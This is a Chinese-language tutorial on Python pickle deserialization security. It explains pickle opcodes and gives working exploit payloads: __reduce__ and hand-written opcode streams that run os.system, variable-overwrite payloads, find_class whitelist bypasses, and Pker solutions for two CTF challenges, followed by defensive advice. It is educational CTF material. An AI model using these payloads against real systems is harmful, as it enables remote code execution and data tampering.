pickle反序列化初探
字数 2209 2025-08-20 18:17:42
Pickle反序列化安全研究与实践指南
1. Pickle基础概念
1.1 Pickle简介
Pickle是Python专用的序列化与反序列化模块,具有以下特点:
- 以二进制格式存储数据
- 可以表示Python几乎所有类型(包括自定义类型)
- 实际上是一种独立的语言,通过操作码(opcode)执行操作
- 解析能力大于生成能力(直接编写的opcode比序列化生成的更灵活)
1.2 可序列化对象类型
- 基本类型:
None、True、False、整数、浮点数、复数 - 字符串类型:
str、bytes、bytearray - 集合类型:
tuple、list、set、dict(仅包含可序列化对象) - 函数与类:模块最外层的函数和类
- 实例对象:实现了
__reduce__()方法的类实例
1.3 与JSON的对比
| 特性 | Pickle | JSON |
|---|---|---|
| 格式 | 二进制 | 文本 |
| 跨语言 | 仅Python | 支持多种语言 |
| 类型支持 | 几乎所有Python类型 | 基本内置类型 |
| 安全性 | 不安全 | 相对安全 |
2. Pickle工作机制
2.1 Pickle虚拟机(PVM)
PVM由三部分组成:
- 解析引擎:读取并解释opcode和参数,直到遇到
.停止 - 栈:Python列表实现,用于临时存储数据和对象
- 内存(memo):Python字典实现,存储已反序列化的数据
2.2 序列化过程
- 对象被转换为opcode流
- opcode流可以被保存或传输
- 反序列化时PVM执行opcode重建对象
2.3 __reduce__()方法
通过重写__reduce__()可以控制对象如何被序列化和反序列化:
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('whoami',))
序列化后会生成包含R操作码的字节流,反序列化时将执行指定的函数。
3. Pickle操作码详解
3.1 常用操作码表
| Opcode | 描述 | 示例 | 栈变化 |
|---|---|---|---|
| c | 获取全局对象 | cmodule\ninstance\n |
对象入栈 |
| o | 调用栈上函数 | o |
参数出栈,结果入栈 |
| i | 导入并调用 | imodule\ncallable\n |
参数出栈,结果入栈 |
| ( | 压入MARK标记 | ( |
MARK入栈 |
| t | 组合为元组 | t |
数据出栈,元组入栈 |
| R | 调用函数 | R |
函数和参数出栈,结果入栈 |
| p | 存储到memo | p0\n |
无 |
| g | 从memo读取 | g0\n |
对象入栈 |
| . | 结束 | . |
无 |
3.2 版本差异
Pickle有6个版本,v0最易读,兼容所有Python版本:
import pickle
a = {'1': 1, '2': 2}
print(pickle.dumps(a, protocol=0)) # v0 opcode
3.3 手动构造示例
执行系统命令
b'''cos
system
(S'whoami'
tR.'''
变量覆盖
b'''c__main__
secret
(S'name'
S'new_value'
db.'''
4. 安全漏洞与利用技术
4.1 常见攻击方式
- 任意代码执行:通过
__reduce__或opcode执行系统命令 - 变量覆盖:修改关键变量绕过认证
- 属性注入:向对象注入恶意属性
4.2 find_class()限制与绕过
Python官方建议通过重写Unpickler.find_class()实现白名单:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'builtins' and name in safe_list:
return getattr(builtins, name)
raise pickle.UnpicklingError("forbidden")
绕过方法:
- 利用已导入模块的链式调用
- 通过
getattr获取被禁用的函数 - 修改
sys.modules引入被禁模块
4.3 CTF实战技巧
1. 基础RCE
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
pickle.dumps(Exploit())
2. 绕过find_class限制
当只能使用__main__模块时:
b'''c__main__
secret
(S'key'
S'new_value'
db.'''
3. 利用sys.modules
b'''csys
modules
(S'sys'
csys
modules
s.'''
5. 高级利用技术
5.1 描述器攻击
通过实现__set__方法控制属性赋值:
User = GLOBAL('module', 'User')
User.__set__ = GLOBAL('module', 'User')
User.privileged = True # 实际不会赋值,而是调用__set__
5.2 多段payload拼接
去掉第一个payload的.,直接拼接:
payload1 = b'''(S'key1'
S'value1'
d'''
payload2 = b'''(S'key2'
S'value2'
d.'''
final_payload = payload1 + payload2
5.3 属性链操作
# 获取os.system
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')()
builtins = dict_get(globals, 'builtins')
system = getattr(builtins, 'system')
system('whoami')
6. Pker工具使用
Pker是生成pickle opcode的高级工具,语法类似Python:
6.1 基本语法
# 全局变量覆盖
secret = GLOBAL('__main__', 'secret')
secret.name = 'hacked'
# 函数执行
system = GLOBAL('os', 'system')
system('whoami')
# 实例化对象
animal = INST('__main__', 'Animal', 'name', 'category')
6.2 CTF解题示例
BalsnCTF pyshv3
User = GLOBAL('structs', 'User')
User.__set__ = GLOBAL('structs', 'User')
des = User('des', 'des')
User.privileged = des
user = User('attacker', 'group')
return user
SUCTF guess_game
ticket = INST('guess_game.Ticket', 'Ticket', (1,))
game = GLOBAL('guess_game', 'game')
game.win_count = 9
game.round_count = 9
game.curr_ticket = ticket
return ticket
7. 防御建议
- 使用JSON等安全格式替代pickle
- 严格白名单限制
find_class可用的模块和类 - 签名验证 pickle数据完整性
- 沙箱环境 执行反序列化操作
- 监控 pickle反序列化过程
8. 总结
Pickle反序列化漏洞利用关键点:
- 理解PVM工作机制和opcode语义
- 掌握
__reduce__和find_class的绕过方法 - 熟悉Python内置模块和魔术方法
- 能够手动构造或使用工具生成opcode
安全开发建议:
- 避免反序列化不可信数据
- 使用最严格的
find_class白名单 - 考虑使用更安全的替代方案如
json